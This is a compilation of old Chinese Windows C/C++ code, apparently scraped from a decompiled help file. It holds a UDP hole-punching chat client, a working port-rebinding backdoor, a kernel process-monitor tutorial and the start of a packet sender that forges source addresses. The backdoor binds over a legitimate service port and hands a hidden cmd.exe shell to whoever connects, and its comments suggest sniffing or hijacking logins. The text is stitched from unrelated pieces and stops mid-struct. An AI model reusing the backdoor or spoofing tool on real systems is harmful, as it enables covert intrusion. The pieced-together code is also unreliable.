bool FindUser = false;
for(UserList::iterator UserIterator=ClientList.begin();
UserIterator!=ClientList.end();
++UserIterator)
{
if( strcmp( ((*UserIterator)->userName), UserName) == 0 )
{
UserIP = (*UserIterator)->ip;
UserPort = (*UserIterator)->port;
FindUser = true;
}
}
if(!FindUser)
return false;
 strcpy(realmessage,
        Message);
for(int i=0;i<MAXRETRY;i++)
{
RecvedACK = false;
sockaddr_in remote;
remote.sin_addr.S_un.S_addr = htonl(UserIP);
remote.sin_family = AF_INET;
remote.sin_port = htons(UserPort);
stP2PMessage MessageHead;
MessageHead.iMessageType = P2PMESSAGE;
MessageHead.iStringLen = (int)strlen(realmessage)+1;
int isend = sendto(PrimaryUDP, (const char *)&MessageHead, sizeof(MessageHead), 0, (const sockaddr*)&remote, sizeof(remote));
isend = sendto(PrimaryUDP, (const char *)&realmessage, MessageHead.iStringLen, 0, (const sockaddr*)&remote, sizeof(remote));
  // 等待接收线程将此标记修改
for(int
        j=0;j<10;j++)
{
if(RecvedACK)
return true;
else
Sleep(300);
}
  // 没有接收到目标主机的回应，认为目标主机的端口映射没有
// 打开，那么发送请求信息给服务器，要服务器告诉目标主机
// 打开映射端口（UDP打洞）
sockaddr_in server;
server.sin_addr.S_un.S_addr =
        inet_addr(ServerIP);
server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
stMessage transMessage;
transMessage.iMessageType = P2PTRANS;
strcpy(transMessage.message.translatemessage.userName, UserName);
  sendto(PrimaryUDP, (const
        char*)&transMessage, sizeof(transMessage), 0, (const
        sockaddr*)&server, sizeof(server));
Sleep(100);//
        等待对方先发送信息。
}
return false;
}
// 解析命令，暂时只有exit和send命令
//
        新增getu命令，获取当前服务器的所有用户
void ParseCommand(char *
        CommandLine)
{
if(strlen(CommandLine)<4)
return;
char Command[10];
strncpy(Command,
        CommandLine, 4);
Command[4]='\0';
 if(strcmp(Command,"exit")==0)
{
stMessage sendbuf;
sendbuf.iMessageType = LOGOUT;
strncpy(sendbuf.message.logoutmember.userName, UserName, 10);
sockaddr_in server;
server.sin_addr.S_un.S_addr =
        inet_addr(ServerIP);
server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
  sendto(PrimaryUDP,(const
        char*)&sendbuf, sizeof(sendbuf), 0, (const sockaddr *)&server,
        sizeof(server));
shutdown(PrimaryUDP, 2);
closesocket(PrimaryUDP);
exit(0);
}
else
        if(strcmp(Command,"send")==0)
{
char
        sendname[20];
char message[COMMANDMAXC];
int
        i;
for(i=5;;i++)
{
if(CommandLine[i]!=' ')
sendname[i-5]=CommandLine[i];
else
{
sendname[i-5]='\0';
break;
}
}
strcpy(message,
        &(CommandLine[i+1]));
if(SendMessageTo(sendname,
        message))
printf("Send OK!\n");
else
printf("Send Failure!\n");
}
else
        if(strcmp(Command,"getu")==0)
{
int command =
        GETALLUSER;
sockaddr_in server;
server.sin_addr.S_un.S_addr = inet_addr(ServerIP);
server.sin_family = AF_INET;
server.sin_port =
        htons(SERVER_PORT);
  sendto(PrimaryUDP,(const
        char*)&command, sizeof(command), 0, (const sockaddr *)&server,
        sizeof(server));
}
}
// 接受消息线程
DWORD WINAPI RecvThreadProc(LPVOID
        lpParameter)
{
sockaddr_in remote;
int sinlen =
        sizeof(remote);
stP2PMessage
        recvbuf;
for(;;)
{
int iread =
        recvfrom(PrimaryUDP, (char *)&recvbuf, sizeof(recvbuf), 0, (sockaddr
        *)&remote, &sinlen);
if(iread<=0)
{
printf("recv error\n");
continue;
}
switch(recvbuf.iMessageType)
{
case P2PMESSAGE:
{
//
        接收到P2P的消息
char *comemessage= new
        char[recvbuf.iStringLen];
int iread1 =
        recvfrom(PrimaryUDP, comemessage, 256, 0, (sockaddr *)&remote,
        &sinlen);
comemessage[iread1-1] =
        '\0';
if(iread1<=0)
throw Exception("Recv Message Error\n");
else
{
printf("Recv a
        Message:%s\n",comemessage);
stP2PMessage sendbuf;
sendbuf.iMessageType = P2PMESSAGEACK;
sendto(PrimaryUDP, (const char*)&sendbuf, sizeof(sendbuf), 0, (const sockaddr*)&remote, sizeof(remote));
}
delete []comemessage;
break;
}
case P2PSOMEONEWANTTOCALLYOU:
{
// 接收到打洞命令，向指定的IP地址打洞
printf("Recv p2someonewanttocallyou data\n");
sockaddr_in remote;
remote.sin_addr.S_un.S_addr = htonl(recvbuf.iStringLen);
remote.sin_family = AF_INET;
remote.sin_port = htons(recvbuf.Port);
// UDP hole punching
stP2PMessage message;
message.iMessageType = P2PTRASH;
sendto(PrimaryUDP, (const char *)&message, sizeof(message), 0, (const sockaddr*)&remote, sizeof(remote));
    break;
}
case P2PMESSAGEACK:
{
// 发送消息的应答
RecvedACK = true;
break;
}
case P2PTRASH:
{
// 对方发送的打洞消息，忽略掉。
//do
        nothing ...
printf("Recv p2ptrash
        data\n");
break;
}
case
        GETALLUSER:
{
int
        usercount;
int fromlen =
        sizeof(remote);
int iread = recvfrom(PrimaryUDP,
        (char *)&usercount, sizeof(int), 0, (sockaddr *)&remote,
        &fromlen);
if(iread<=0)
{
throw Exception("Login error\n");
}
ClientList.clear();
    cout<<"Have
        "<<usercount<<" users logined
        server:"<<endl;
for(int i =
        0;i<usercount;i++)
{
stUserListNode *node = new
        stUserListNode;
recvfrom(PrimaryUDP,
        (char*)node, sizeof(stUserListNode), 0, (sockaddr *)&remote,
        &fromlen);
ClientList.push_back(node);
cout<<"Username:"<<node->userName<<endl;
in_addr tmp;
tmp.S_un.S_addr =
        htonl(node->ip);
cout<<"UserIP:"<<inet_ntoa(tmp)<<endl;
cout<<"UserPort:"<<node->port<<endl;
cout<<""<<endl;
}
break;
}
}
}
}

int main(int argc, char* argv[])
{
try
{
InitWinSock();
PrimaryUDP = mksock(SOCK_DGRAM);
BindSock(PrimaryUDP);
cout<<"Please input server ip:";
cin>>ServerIP;
cout<<"Please input your name:";
cin>>UserName;
ConnectToServer(PrimaryUDP, UserName, ServerIP);
  HANDLE threadhandle = CreateThread(NULL,
        0, RecvThreadProc, NULL, NULL, NULL);
CloseHandle(threadhandle);
OutputUsage();
  for(;;)
{
char
        Command[COMMANDMAXC];
gets(Command);
ParseCommand(Command);
}
}
catch(Exception
        &e)
{
printf(e.GetMessage());
return
        1;
}
return 0;
}

/* 异常类
*
* 文件名：Exception.h
*
* 日期：2004.5.5
*
* 作者：shootingstars(zhouhuis22@sina.com)
*/
#ifndef __HZH_Exception__
#define __HZH_Exception__
#define EXCEPTION_MESSAGE_MAXLEN 256
#include "string.h"
class Exception
{
private:
char m_ExceptionMessage[EXCEPTION_MESSAGE_MAXLEN];
public:
Exception(char *msg)
{
strncpy(m_ExceptionMessage, msg, EXCEPTION_MESSAGE_MAXLEN);
}
char *GetMessage()
{
return m_ExceptionMessage;
}
};
#endif

/* P2P 程序传输协议
*
* 日期：2004-5-21
*
* 作者：shootingstars(zhouhuis22@sina.com)
*
*/
#pragma once
#include <list>
// 定义iMessageType的值
#define LOGIN
        1
#define LOGOUT 2
#define P2PTRANS 3
#define GETALLUSER
        4
// 服务器端口
#define SERVER_PORT 2280
// Client登录时向服务器发送的消息
struct stLoginMessage
{
char userName[10];
char password[10];
};
// Client注销时发送的消息
struct
        stLogoutMessage
{
char userName[10];
};
// Client向服务器请求另外一个Client(userName)向自己方向发送UDP打洞消息
struct stP2PTranslate
{
char userName[10];
};
// Client向服务器发送的消息格式
struct
        stMessage
{
int iMessageType;
union
        _message
{
stLoginMessage loginmember;
stLogoutMessage logoutmember;
stP2PTranslate
        translatemessage;
}message;
};
// 客户节点信息
struct
        stUserListNode
{
char userName[10];
unsigned int
        ip;
unsigned short port;
};
// Server向Client发送的消息
struct stServerToClient
{
int iMessageType;
union _message
{
stUserListNode user;
}message;
};
//======================================
// 下面的协议用于客户端之间的通信
//======================================
#define P2PMESSAGE 100 // 发送消息
#define P2PMESSAGEACK 101 // 收到消息的应答
#define P2PSOMEONEWANTTOCALLYOU 102 // 服务器向客户端发送的消息
// 希望此客户端发送一个UDP打洞包
#define P2PTRASH 103 // 客户端发送的打洞包，接收端应该忽略此消息
// 客户端之间发送消息格式
struct stP2PMessage
{
int iMessageType;
int iStringLen; // or IP address
unsigned short Port;
};
using namespace std;
typedef list<stUserListNode *> UserList;


/************************************************************
原理：通过把端口重绑定到防火墙开放的端口实现穿越防火墙的功能
感谢：wineggdrop（还有一位不知道名字，本程序主干修改自他的代码）
用途：当防火墙BT到连反向连接到封闭时，可以尝试一下这个
留言：其实我也是脚本小子，我只是把两位大虾的代码合并在一齐而已
了，自己写的不过10行。其实还有一个svchost.exe的功能是一样
过我发现那个不好使，所以就写了这个。
************************************************************/
#include "stdafx.h"
#include
#include
#include
#include
#pragma comment(lib, "ws2_32.lib")

DWORD
        WINAPI ClientThread(LPVOID lpParam);//原端口转发
DWORD WINAPI
        ServerThread(LPVOID lpParam);//CMDSHELL线程，抄写自wineggdrop

unsigned int port=21;//重绑定端口
BOOL Connected;

//************抄写自wineggdrop的代码***************

unsigned int ReceiveMessageFromSocket(const SOCKET
        ClientSocket,char *Buffer,unsigned int BufferSize)
{
ZeroMemory(Buffer,BufferSize);
        // Reset The Buffer

if (BufferSize {
return
        0;        // Dump
}

unsigned int CharacterCount = 0;

while(TRUE)
{
if (CharacterCount >=
        BufferSize)        // The Characters
        Received Is Bigger Or Equal The Buffer Size
{
// Give The Buffer
        An Enter
Buffer[BufferSize-2] = '\r';
Buffer[BufferSize-1] =
        '\n';
return
        CharacterCount;        // Return The
        Characters Received
}

if
        (recv(ClientSocket,Buffer+CharacterCount,1,0) ==
        SOCKET_ERROR)        // Fail To
        Receive Data
{
return
        SOCKET_ERROR;        // Return Error
}

if (Buffer[CharacterCount] ==
        '\b')        // Back Space Detected
{
Buffer[CharacterCount] =
        '\0';        // Skip It
if
        (CharacterCount > 0)        //
        Characters Received Is Bigger Than 0
{
CharacterCount--;        //
        Decrease One Character
Buffer[CharacterCount] = '\0';
}
continue;        // Begin A New
        Loop
}

if (Buffer[CharacterCount++] ==
        '\n')        // Enter Is Detected
{
return
        CharacterCount;        // Return The
        Characters Received
}
}
return 0;
}

BOOL
        SendSocket(const SOCKET ClientSocket,const char *Message)
{
return (send(ClientSocket,Message,strlen(Message),0)!=SOCKET_ERROR);
}

//***********抄写结束*******

int
        usage(char * appname)
{
printf("%s 端口重绑定后门工具\n"
"使用方法：%s
        [重绑定端口(可选，默认是80)] \n",appname,appname);
exit(0);
}

int main(int argc, char* argv[])
{

WORD
        wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET
        s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;

Connected=FALSE;

if (argc!=1)
port=atoi(argv[1]);

printf("[i]Startup.....\n");

wVersionRequested = MAKEWORD( 2, 2 );
err =
        WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("[-]WSAStartup failed!\n");
return -1;
}
saddr.sin_family = AF_INET;

//截听虽然也可以将地址指定为INADDR_ANY，
//但是要不能影响正常应用情况下，
//应该指定具体的IP，留下127.0.0.1给正常的服务应用，
//然后利用这个地址进行转发，
//就可以不影响对方正常应用了
printf("[i]Bind.....\n");

//*********以下代码抄写自wineggdrop**********

char
        FAR name[255];
gethostname(name, 255);//获得主机名
struct hostent FAR
        * pHostent;
pHostent = (struct hostent * )malloc(sizeof(struct
        hostent));
pHostent = gethostbyname(name);//获得IP
memcpy(&saddr.sin_addr.S_un.S_addr, pHostent->h_addr_list[0],
        pHostent->h_length); //复制IP

//**********抄写结束*************

saddr.sin_port = htons(port);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("[-]socket failed!\n");
return -1;
}
val = TRUE;

//********以下代码修改自......不知道是谁，反正不是我原创的*********

//SO_REUSEADDR选项就是可以实现端口重绑定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char
        *)&val,sizeof(val))!=0)
{
printf("[-]setsockopt failed!\n");
return -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE，
//就不会绑定成功，返回无权限的错误代码；
//如果是想通过重利用端口达到隐藏的目的，
//就可以动态的测试当前已绑定的端口哪个可以成功，
//就说明具备这个漏洞，然后动态利用端口使得更隐蔽
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("[-]bind failed!\n");
return -1;
}

while(1)
{
caddsize = sizeof(scaddr);
//接受连接请求
printf("[+]Listening.....\n");
listen(s,5);
sc
        = accept(s,(struct sockaddr *)&scaddr,&caddsize);
printf("[+]Someone connect port %d\n",port);
if(sc!=INVALID_SOCKET)
{
if(Connected)
{
mt =
        CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);//原端口转发
printf("[+]%d -> %d Thread Created!\n",port,port);
}
else
{
mt =
        CreateThread(NULL,0,ServerThread,(LPVOID)sc,0,&tid);//重定向线程
printf("[+] CMDShell Thread Created!\n");
Connected=TRUE;
}
if(mt==NULL)
{
printf("Thread Creat Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}

DWORD WINAPI
        ClientThread(LPVOID lpParam)//原端口转发
{
SOCKET ss =
        (SOCKET)lpParam;
SOCKET sc;
char buf[4096];
SOCKADDR_IN
        saddr;
long num;
DWORD val;
DWORD ret;

//如果是隐藏端口应用的话，
//可以在此处加一些判断
//如果是自己的包，就可以进行一些特殊处理，
//不是的话通过127.0.0.1进行转发

saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port =
        htons(port);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val =
        100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char
        *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return
        -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char
        *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return
        -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!\n");
closesocket(sc);
closesocket(ss);
return -1;
}
while(1)
{
//下面的代码主要是实现通过127。0。0。1
//这个地址把包转发到真正的应用上，
//并把应答的包再转发回去。
//如果是嗅探内容的话，
//可以再此处进行内容分析和记录
//如果是攻击如TELNET服务器，
//利用其高权限登陆用户的话，
//可以分析其登陆用户，
//然后利用发送特定的包以劫持的用户身份执行。
num
        = recv(ss,&(buf[0]),4096,0);
if(num>0)
send(sc,buf,num,0);
else if(num==0)
break;
num =
        recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else
        if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return 0 ;
}

DWORD WINAPI ServerThread(LPVOID
        lpParam)//重定向线程
{
SOCKET ListenSocket = (SOCKET)lpParam;

//**************除上面一句是自己的，下面的都是wineggdrop的代码:)******

char ReceiveBuffer[MAX_PATH +
        1];        // The Receive Buffer
char SendBuffer[1024 * 4];
        // The Send Buffer

unsigned long
        OutputLength,InputLength;        //
        The Input And Output Length

// The Pipe And Some Other
        Sutff
HANDLE ClientReadPipe = NULL;
HANDLE ClientWritePipe =
        NULL;
HANDLE CmdWritePipe = NULL;
HANDLE CmdReadPipe = NULL;

SECURITY_ATTRIBUTES
        sa
        = {0};
STARTUPINFO
        si
        = {0};
PROCESS_INFORMATION
        pi
        = {0};

ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));

if
        (GetSystemDirectory(ReceiveBuffer,MAX_PATH))
        // Get System Directory
{
strcat(ReceiveBuffer,"\\cmd.exe");
        // Get The Cmd.exe Full Path
}
else        // Fail To Get System
        Directory
{
SendSocket(ListenSocket,"Fail To Get System
        Diretory\r\n");        // Display
        Error Message
return
        FALSE;        // Return
}

// Initize The Stuff
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
memset(&pi,0,sizeof(pi));

if
        (!CreatePipe(&ClientReadPipe,&CmdWritePipe,&sa,0))
        // Fail To Create Client Read Pipe
{
SendSocket(ListenSocket,"Fail To Create Client Read
        Pipe\r\n");        // Display Error
        Message
goto CleanUP;        //
        Leave
}

if
        (!CreatePipe(&CmdReadPipe,&ClientWritePipe,&sa,0))
        // Fail To Create Cmd Read Pipe
{
SendSocket(ListenSocket,"Fail
        To Create CMD Read Pipe\r\n");
        // Display Error Message
goto
        CleanUP;        // Leave
}

// Reset And Initize Stuff
memset((void
        *)&si,0,sizeof(si));
memset((void *)&pi,0,sizeof(pi));
si.cb = sizeof(si);
si.dwFlags     =
        STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow =
        SW_HIDE;

si.hStdInput =
        CmdReadPipe;        // Pass The
        CmdReadPipe To StdInput
si.hStdError =
        CmdWritePipe;        // Pass The
        CmdWritePipe To StdError
si.hStdOutput =
        CmdWritePipe;        // Pass The
        CmdWritePipe To StdOutput

if
        (!CreateProcess(ReceiveBuffer,NULL,NULL,NULL,1,0,NULL,
        NULL,&si,&pi))        // Fail
        To Create A Cmd Shell Process
{
SendSocket(ListenSocket,"Fail To
        Create Process\r\n");        //
        Display Error Message
goto
        CleanUP;        // Leave
}

while(TRUE)        //
        Shell Commincation Starts Here
{
if
        (!PeekNamedPipe(ClientReadPipe,SendBuffer,sizeof(SendBuffer),&OutputLength,NULL,NULL))
        // Fail To Get Data From The Pipe
{
SendSocket(ListenSocket,"Fail To Peek Name
        Pipe\r\n");        // Display Error
        Message
break;        // Leave
}
if (OutputLength >
        0)        // Get Data From The Pipe
        Successfully
{
ZeroMemory(SendBuffer,sizeof(SendBuffer));
        // Reset The Send Buffer
if
        (!ReadFile(ClientReadPipe,SendBuffer,OutputLength,&OutputLength,0))
        //Fail To Read The Data
{
SendSocket(ListenSocket,"Fail To Read
        File\r\n");        // Display Error
        Message
break;        // Leave
}
if (send(ListenSocket,SendBuffer,OutputLength,0) ==
        SOCKET_ERROR)        // Fail To Send
        The Data
{
printf("Fail To Send
        Buffer\n");        // Display Error
        Message
break;        // Leave
}
}
else
{
ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));
        // Reset Receive Buffer
InputLength =
        ReceiveMessageFromSocket(ListenSocket, ReceiveBuffer,
        sizeof(ReceiveBuffer));        //
        Receive Input From Client
if (InputLength ==
        SOCKET_ERROR)        // Fail To
        Receive Data
{
printf("Fail To Receive
        Buffer\n");        // Display Error
        Message
break;        // Leave
}

if
        (!WriteFile(ClientWritePipe,ReceiveBuffer,InputLength,&InputLength,0))
        // Fail To Write The Received Data To The Pipe
{
printf("Fail To
        Write File\n");        // Display
        Error Message
break;        //
        Leave
}

// Leave The Shell
if
        (strnicmp((char*)ReceiveBuffer, "exit\r\n", 6) == 0 ||
        strnicmp((char*)ReceiveBuffer, "exit\r", 5)==0 ||
        strnicmp((char*)ReceiveBuffer, "exit\n", 5)==0)
break;
}
}

// Clean All Resource Allocated
CleanUP:
if
        (CmdReadPipe != NULL)
CloseHandle(CmdReadPipe);
if (CmdWritePipe
        != NULL)
CloseHandle(CmdWritePipe);
if (ClientReadPipe != NULL)
CloseHandle(ClientReadPipe);
if (ClientWritePipe)
CloseHandle(ClientWritePipe);

Connected=FALSE;

return 0;
}

This file is decompiled by an unregistered
        version of ChmDecompiler.
Regsitered version does not show this
        message.
You can download ChmDecompiler at : http://www.zipghost.com/


编写进程/线程监视器

Author : sinister
Email : sinister@whitecell.org
HomePage: http://www.whitecell.org/

（首先说明一下。有不少朋友来信问一些进程/线程监视工具是如何实现的。
我写出来是为了让那些朋友有进一步的了解，也省的我一封封的回MAIL。如果您
是 NT DRIVER熟手，那么此文提到的方法您可能早已掌握，完全可以略过不看。）

有时候我们希望能够动态监视系统中任意进程/线程的创建与销毁。为了达
到此目的我翻阅了 DDK 手册，发现其提供的 PsSetCreateProcessNotifyRoutine(),
PsSetCreateThreadNotifyRoutine(),等函数可以实现此功能。这两个函数可以
通过向系统注册一个 CALLBALCK 函数来监视进程/线程等操作。函数原形如下：

NTSTATUS
PsSetCreateProcessNotifyRoutine(
IN PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
IN BOOLEAN Remove
);

VOID
(*PCREATE_PROCESS_NOTIFY_ROUTINE) (
IN HANDLE ParentId,
IN HANDLE ProcessId,
IN BOOLEAN Create
);

NTSTATUS
PsSetCreateThreadNotifyRoutine(
IN PCREATE_THREAD_NOTIFY_ROUTINE NotifyRoutine
);

VOID
(*PCREATE_THREAD_NOTIFY_ROUTINE) (
IN HANDLE ProcessId,
IN HANDLE ThreadId,
IN BOOLEAN Create
);

通过原形可以看出，其 CALLBACK 函数只提供了进程ID/线程ID。并没有提供
进程名。那么我们要进一步通过进程ID来获取进程名。这需要用到一个未公开
的函数 PsLookupProcessByProcessId()。函数原形如下：

NTSTATUS PsLookupProcessByProcessId(
IN ULONG ulProcId,
OUT PEPROCESS * pEProcess
);

函数输出的 EPROCESS 结构也是未公开的内核进程结构，很多人称其为 KPEB。
EPROCESS 结构中的偏移 0x1FC 指向当前进程名的偏移。（这个结构虽然可以在
驱动程序中直接使用。但没有公布其结构，网上有不少高手已将其结构给出。有
兴趣可以自行搜索，或去 IFS DDK 中获取，这里因为结构太长，就不贴出来了）
有了这个结构我们就可以从中得到进程名。NT系统还提供了一个函数可以动态监
视进程装载映像。此函数可以得到进程加栽时所调用的 DLL 名称与全路径，还有
一些映像信息。为我们获得更详细的进程装载信息提供了更好的帮助。

函数原形如下：

NTSTATUS
PsSetLoadImageNotifyRoutine(
IN PLOAD_IMAGE_NOTIFY_ROUTINE NotifyRoutine
);

VOID
(*PLOAD_IMAGE_NOTIFY_ROUTINE) (
IN PUNICODE_STRING FullImageName,
IN HANDLE ProcessId, // where image is mapped
IN PIMAGE_INFO ImageInfo
);

typedef struct _IMAGE_INFO {
union {
ULONG Properties;
struct {
ULONG ImageAddressingMode : 8; //code addressing mode
ULONG SystemModeImage : 1; //system mode image
ULONG ImageMappedToAllPids : 1; //mapped in all processes
ULONG Reserved : 22;
};
};
PVOID ImageBase;
ULONG ImageSelector;
ULONG ImageSize;
ULONG ImageSectionNumber;
} IMAGE_INFO, *PIMAGE_INFO;

利用以上提供的函数与结构，我们便能实现一个进程/线程监视器。下面这段
代码演示了如何实现此功能。

/*****************************************************************
文件名 : WssProcMon.c
描述 : 进程/线程监视器
作者 : sinister
最后修改日期 : 2002-11-02

*****************************************************************/

#include "ntddk.h"
#include "string.h"

#define ProcessNameOffset 0x1fc

static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
NTSTATUS PsLookupProcessByProcessId(IN ULONG ulProcId, OUT PEPROCESS * pEProcess);
VOID ProcessCreateMon ( IN HANDLE hParentId, IN HANDLE PId,IN BOOLEAN bCreate);
VOID ThreadCreateMon (IN HANDLE PId, IN HANDLE TId, IN BOOLEAN bCreate);
VOID ImageCreateMon (IN PUNICODE_STRING FullImageName, IN HANDLE ProcessId, IN PIMAGE_INFO ImageInfo );

// 驱动入口
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath )
{

UNICODE_STRING nameString, linkString;
PDEVICE_OBJECT deviceObject;
NTSTATUS status;
int i;

//建立设备
RtlInitUnicodeString( &nameString, L"\\Device\\WssProcMon" );

status = IoCreateDevice( DriverObject,
0,
&nameString,
FILE_DEVICE_UNKNOWN,
0,
TRUE,
&deviceObject
);

if (!NT_SUCCESS( status ))
return status;

RtlInitUnicodeString( &linkString, L"\\DosDevices\\WssProcMon" );

status = IoCreateSymbolicLink (&linkString, &nameString);

if (!NT_SUCCESS( status ))
{
IoDeleteDevice (DriverObject->DeviceObject);
return status;
}

status = PsSetLoadImageNotifyRoutine(ImageCreateMon);
if (!NT_SUCCESS( status ))
{
DbgPrint("PsSetLoadImageNotifyRoutine()\n");
return status;
}

status = PsSetCreateThreadNotifyRoutine(ThreadCreateMon);
if (!NT_SUCCESS( status ))
{
DbgPrint("PsSetCreateThreadNotifyRoutine()\n");
return status;
}

status = PsSetCreateProcessNotifyRoutine(ProcessCreateMon, FALSE);
if (!NT_SUCCESS( status ))
{
DbgPrint("PsSetCreateProcessNotifyRoutine()\n");
return status;
}

for ( i = 0; i
DriverObject->MajorFunction[i] = MydrvDispatch;
}

return STATUS_SUCCESS;

}

//处理设备对象操作

static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0L;
IoCompleteRequest( Irp, 0 );
return Irp->IoStatus.Status;

}

VOID ProcessCreateMon ( IN HANDLE hParentId, IN HANDLE PId,IN BOOLEAN bCreate )
{

PEPROCESS EProcess;
ULONG ulCurrentProcessId;
LPTSTR lpCurProc;
NTSTATUS status;

status = PsLookupProcessByProcessId( (ULONG)PId, &EProcess);
if (!NT_SUCCESS( status ))
{
DbgPrint("PsLookupProcessByProcessId()\n");
return ;
}

if ( bCreate )
{
lpCurProc = (LPTSTR)EProcess;
lpCurProc = lpCurProc + ProcessNameOffset;

DbgPrint( "CREATE PROCESS = PROCESS NAME: %s , PROCESS PARENTID: %d, PROCESS ID: %d, PROCESS ADDRESS %x:\n",
lpCurProc,
hParentId,
PId,
EProcess );
}

else
{

DbgPrint( "TERMINATED == PROCESS ID: %d\n", PId);

}

}

VOID ThreadCreateMon (IN HANDLE PId, IN HANDLE TId, IN BOOLEAN bCreate)
{

PEPROCESS EProcess;
ULONG ulCurrentProcessId;
LPTSTR lpCurProc;
NTSTATUS status;

status = PsLookupProcessByProcessId( (ULONG)PId, &EProcess);
if (!NT_SUCCESS( status ))
{
DbgPrint("PsLookupProcessByProcessId()\n");
return ;
}

if ( bCreate )
{
lpCurProc = (LPTSTR)EProcess;
lpCurProc = lpCurProc + ProcessNameOffset;

DbgPrint( "CREATE THREAD = PROCESS NAME: %s PROCESS ID: %d, THREAD ID: %d\n", lpCurProc, PId, TId );

}

else
{

DbgPrint( "TERMINATED == THREAD ID: %d\n", TId);

}

}

VOID ImageCreateMon (IN PUNICODE_STRING FullImageName, IN HANDLE ProcessId, IN PIMAGE_INFO ImageInfo )
{
DbgPrint("FullImageName: %S,Process ID: %d\n",FullImageName->Buffer,ProcessId);
DbgPrint("ImageBase: %x,ImageSize: %d\n",ImageInfo->ImageBase,ImageInfo->ImageSize);

}

This file is decompiled by an unregistered version of ChmDecompiler.
Regsitered version does not show this message.
You can download ChmDecompiler at : http://www.zipghost.com/


一份发送数据包的源代码

代码的帮助我写的很详细,这里就不做罗嗦的说明了,简单说一下这个咚咚的作用...
软件提供了常用的4种报文的自定义发送(包括所有能修改的字段),并提供5种伪造源格式,用预先计算效验和的办法,提高发送报文速度等...其他的,就用代码说明吧.....
写的仓卒,难免出错,希望大家给予指出...
//////////////////////////////////////////////////////////////////////////
// //
// 数据包发送程序1.0 //
// //
// 日期: [2004.4.25] //
// 作者: [Zvrop][zvrop@163.com] //
// 环境: [WINXP + Visual C++ 6.0] //
// 主页: [http://www.gedao.com][http://www.ringz.org] //
// 声名: [如果你修改了什么,请发给我一份拷贝,谢谢] //
// //
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////
//若干的头文件
//////////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <winsock2.h>
#include <windows.h>
#include <Ws2tcpip.h>
//////////////////////////////////////////////////////////////
//若干的宏定义
//////////////////////////////////////////////////////////////
#define IPVER 4 //ip协议预定
#define MAX_TIMEOUT 2000 //最大超时时间
#define MAX_HOSTNAME_LAN 1024 //主机名最长
#define MAX_BUFF_LEN 65500 //发送缓冲区最大
#define MAX_PORT 65500 //端口最大
#define MAX_CHAR 255 //uchar类型最大
#define MAX_SHORT 65535 //ushort类型最大
#define MAX_LONG 4294967294 //ulong类型最大
#define DEF_PORT_DA 1025 //默认的端口
#define DEF_FORGE_IP 0xffffffff //默认的伪造IP
#define DEF_FORGE_PORT 0xffff //默认的伪造端口
//////////////////////////////////////////////////////////////
//若干的报文头部首部结构定义
//////////////////////////////////////////////////////////////
//定义IP首部
typedef struct _iphdr{
UCHAR h_verlen; //4位首部长度,4位IP版本号
UCHAR tos; //8位服务类型TOS
USHORT total_len; //16位总长度（字节）
USHORT ident; //16位标识
USHORT frag_and_flags; //3位标志位
UCHAR ttl; //8位生存时间 TTL
UCHAR proto; //8位协议 (TCP, UDP 或其他)
USHORT checksum; //16位IP首部校验和
ULONG sourceIP; //32位源IP地址
ULONG destIP; //32位目的IP地址
}IP_HEADER;
//定义TCP伪首部
typedef struct _psdhdr{
ULONG saddr; //源地址
ULONG daddr; //目的地址
UCHAR mbz; //没用
UCHAR ptcl; //协议类型
USHORT tcpl; //TCP长度
}PSD_HEADER;
//定义TCP首部
typedef struct _tcphdr{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
ULONG th_seq; //32位序列号
ULONG th_ack; //32位确认号
UCHAR th_lenres; //4位首部长度/6位保留字
UCHAR th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;
//定义UDP首部
typedef struct _udphdr{
USHORT uh_sport; //16位源端口
USHORT uh_dport; //16位目的端口
USHORT uh_len; //16位长度
USHORT uh_sum; //16位校验和
} UDP_HEADER;
//定义ICMP首部
typedef struct _icmphdr{
UCHAR i_type; //8位类型
UCHAR i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号（一般用进程号作为识别号）
